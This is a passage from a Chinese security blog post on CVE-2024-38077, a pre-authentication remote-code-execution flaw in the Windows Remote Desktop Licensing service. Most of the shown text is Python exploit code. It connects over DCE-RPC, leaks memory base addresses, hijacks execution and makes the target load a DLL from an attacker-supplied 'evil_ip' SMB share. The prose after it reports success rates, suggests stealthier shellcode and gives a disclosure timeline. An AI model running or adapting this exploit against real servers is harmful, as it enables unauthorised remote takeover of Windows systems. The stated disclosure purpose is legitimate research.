if status == "Y" or status == "y":
print("[+] Exploit success!")
exit(0)
def connect_to_license_server(target_ip):
global dce, rpctransport, ctx_handle
stringbinding = epm.hept_map(target_ip, UUID, protocol="ncacn_ip_tcp")
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_connect_timeout(100)
dce = rpctransport.get_dce_rpc()
dce.set_auth_level(2)
dce.connect()
dce.bind(UUID)
rpc_conn = TLSRpcConnect()
res_rpc_conn = dce.request(rpc_conn)
ctx_handle = res_rpc_conn["ctx_handle"]
get_version = TLSRpcGetVersion()
get_version["ctx_handle"] = ctx_handle
get_version["version"] = 3
res_get_version = dce.request(get_version)
version = res_get_version["version"]
print("[+] Get Server version: 0x{:x}".format(version))
CHAL_DATA = b"a" * 0x10
RESV_DATA = b"b" * 0x10
cli_chal = TLSCHALLENGEDATA()
cli_chal["dwVersion"] = 0x10000
cli_chal["dwRandom"] = 0x4
cli_chal["cbChallengeData"] = len(CHAL_DATA) + 1
cli_chal["pbChallengeData"] = CHAL_DATA + b"\x00"
cli_chal["cbReservedData"] = len(RESV_DATA) + 1
cli_chal["pbReservedData"] = RESV_DATA + b"\x00"
chal_server = TLSRpcChallengeServer()
chal_server["phContext"] = ctx_handle
chal_server["dwClientType"] = 0
chal_server["pClientChallenge"] = cli_chal
chal_server["pdwErrCode"] = 0
chal_response = dce.request(chal_server)
g_pszServerGuid = "d63a773e-6799-11d2-96ae-00c04fa3080d".encode("utf-16")[2:]
dwRandom = chal_response["pServerChallenge"]["dwRandom"]
pbChallengeData = b"".join(chal_response["pServerChallenge"]["pbChallengeData"])
pbResponseData = hashlib.md5(pbChallengeData[:dwRandom] + g_pszServerGuid + pbChallengeData[dwRandom:]).digest()
pClientResponse = TLSCHALLENGERESPONSEDATA()
pClientResponse["dwVersion"] = 0x10000
pClientResponse["cbResponseData"] = len(pbResponseData)
pClientResponse["pbResponseData"] = pbResponseData
pClientResponse["cbReservedData"] = 0
pClientResponse["pbReservedData"] = ""
resp_ser_chal = TLSRpcResponseServerChallenge()
resp_ser_chal["phContext"] = ctx_handle
resp_ser_chal["pClientResponse"] = pClientResponse
resp_ser_chal["pdwErrCode"] = 0
res_resp_ser_chal = dce.request(resp_ser_chal)
def leak_addr():
global heap_base, ntdll_base, peb_base, pe_base, rpcrt4_base, kernelbase_base
heap_offset_list = [0x100008, 0x100008, 0x400000, 0x600000, 0x800000, 0xb00000, 0xd00000, 0xf00000]
heap_base = arb_read(heap_offset_list, leakHeapBaseOffset = 0x188)
print("[+] Leak heap_base: 0x{:x}".format(heap_base))
ntdll_base = arb_read(heap_base + 0x102048, padding = True) - 0x1bd2a8
print("[+] Leak ntdll_base: 0x{:x}".format(ntdll_base))
tls_bit_map_addr = ntdll_base + 0x1bd268
print("[+] Leak tls_bit_map_addr: 0x{:x}".format(tls_bit_map_addr))
peb_base = arb_read(tls_bit_map_addr, padding = True) - 0x80
print("[+] Leak peb_base: 0x{:x}".format(peb_base))
pe_base = arb_read(peb_base + 0x12, padding = True, passZero = True) << 16
print("[+] Leak pe_base: 0x{:x}".format(pe_base))
pe_import_table_addr = pe_base + 0x10000
print("[+] Leak pe_import_table_addr: 0x{:x}".format(pe_import_table_addr))
rpcrt4_base = arb_read(pe_import_table_addr, padding = True) - 0xa4d70
print("[+] Leak rpcrt4_base: 0x{:x}".format(rpcrt4_base))
rpcrt4_import_table_addr = rpcrt4_base + 0xe7bf0
print("[+] Leak rpcrt4_import_table_addr: 0x{:x}".format(rpcrt4_import_table_addr))
kernelbase_base = arb_read(rpcrt4_import_table_addr, padding = True) - 0x10aec0
print("[+] Leak kernelbase_base: 0x{:x}".format(kernelbase_base))
def check_vuln(target_ip):
print("[-] Not implemented yet.")
return True
def pwn(target_ip, evil_ip, evil_dll_path, check_vuln_exist):
global dce, rpctransport, handle_lists, leak_idx, heap_base, rpcrt4_base, kernelbase_base, pe_base, peb_base
arg1 = "\\\\{0}{1}".format(evil_ip, evil_dll_path)
print("-" * 0x50)
print(DESCRIPTION)
print("\ttarget_ip: {0}\n\tevil_ip: {1}\n\tevil_dll_path: {2}\n\tcheck_vuln_exist: {3}".format(target_ip, evil_ip, arg1, check_vuln_exist))
if check_vuln_exist:
if not check_vuln(target_ip):
print("[-] Failed to check for vulnerability.")
exit(0)
else:
print("[+] Target exists vulnerability, try exploit...")
for i in range(TRY_TIMES):
print("-" * 0x50)
print("[*] Run exploit script for {0} / {1} times".format(i + 1, TRY_TIMES))
try:
connect_to_license_server(target_ip)
leak_addr()
hijack_rip_and_rcx(heap_base, rpcrt4_base, kernelbase_base, arg1)
dce.disconnect()
rpctransport.disconnect()
except (ConnectionResetError, DCERPCException) as e:
if i == TRY_TIMES - 1:
print("[-] Crashed {0} times, run exploit script failed!".format(TRY_TIMES))
else:
print("[-] Crashed, waiting for the service to restart, need {0} seconds...".format(SLEEP_TIME))
sleep(SLEEP_TIME)
handle_lists = []
leak_idx = 0
pass
if __name__ == '__main__':
parse = argparse.ArgumentParser(description = DESCRIPTION)
parse.add_argument("--target_ip", type=str, required=True, help="Target IP, eg: 192.168.120.1")
parse.add_argument("--evil_ip", type=str, required=True, help="Evil IP, eg: 192.168.120.2")
parse.add_argument("--evil_dll_path", type=str, required=False, default="\\smb\\evil_dll.dll", help="Evil dll path, eg: \\smb\\evil_dll.dll")
parse.add_argument("--check_vuln_exist", type=bool, required=False, default=False, help="Check vulnerability exist before exploit")
args = parse.parse_args()
pwn(args.target_ip, args.evil_ip, args.evil_dll_path, args.check_vuln_exist)
```
POC分析与讨论
我们的POC在Windows Server 2025上展现了超过95%的成功率。考虑到服务崩溃后会自动重启，且无需重复泄露模块基地址，实际成功率可能接近100%。
在Windows Server 2025上，POC能在2分钟内完成利用过程。需要说明的是，我们目前使用的堆布局技术还未针对Windows Server 2025新引入的LFH（低碎片化堆）缓解措施进行优化。
由于我们尚未完全解析Windows Server 2025的段堆机制，当前的堆布局方法仅是一个启发式解决方案，存在优化空间。相信经过进一步优化，漏洞利用的效率还能显著提升。
对于Windows Server 2000到2022的版本，由于安全缓解措施相对较少，漏洞利用过程可能更为迅速。当前POC为简化演示，选择加载远程DLL，但实际上可以修改为在RDL进程中执行任意shellcode，以提高隐蔽性。
值得注意的是，在早期Windows Server版本上利用此漏洞可能更为简单高效，但需要相应调整代码和偏移量。我们选择在最新的Windows Server 2025上进行演示，是因为它代表了当前最高级别的Windows服务器安全标准。同时，由于该版本仍处于预览阶段，我们的POC不会对实际生产环境造成影响。
为了使漏洞利用更具通用性，可以考虑采用动态搜索方法来解决不同版本间的偏移问题。但这需要更高效的内存读取原语来保证利用效率。
基于负责任披露原则，我们在此发布的POC仅为伪代码和未优化版本，关键部分已被隐藏。然而，所提供的信息足以让安全研究人员开发出相应的检测和防御措施。我们的目标是在真正的攻击出现之前，为防御者提供充足的准备时间。
时间线
▪ 2024年5月1日 向微软报告此漏洞
▪ 2024年7月1日 告知微软此漏洞可被利用
▪ 2024年7月9日 修复并编号为CVE-2024-38077（微软标记为"不太可能被利用"）
▪ 2024年8月2日 将本文发送给微软
▪ 2024年8月9日 微软未对本文作出回应
▪ 2024年8月9日 文章发布
开放性讨论
本文展示了如何利用单一漏洞突破所有安全防护，在被誉为最安全的Windows Server 2025上实现预认证远程代码执行（RCE）攻击。这一发现在2024年可能令人难以置信，但却是不争的事实。
尽管微软几十年来不断强化Windows系统安全，我们也多年未见Windows出现预认证零点击RCE漏洞，然而我们仍能利用一个内存损坏漏洞完成如此复杂的攻击。这表明，即便是号称具有"下一代安全改进"的系统，也未能有效防御30年前就存在的经典内存利用技术。
发布本文的主要目的是提醒用户及时更新系统，修复这些严重漏洞。值得注意的是，在相关组件中还存在更多潜在的可利用漏洞。我们已向微软报告了56个案例（尽管微软安全响应中心（SRC）将其中许多案例合并，这一点令人遗憾）。我们鼓励对此感兴趣的安全研究人员深入探索这些漏洞。
标签：tls,handle,狂躁,Windows,class,cert,base,data,POC From： https://blog.csdn.net/WAJXY2021/article/details/141162103*本文由网安加社区编译。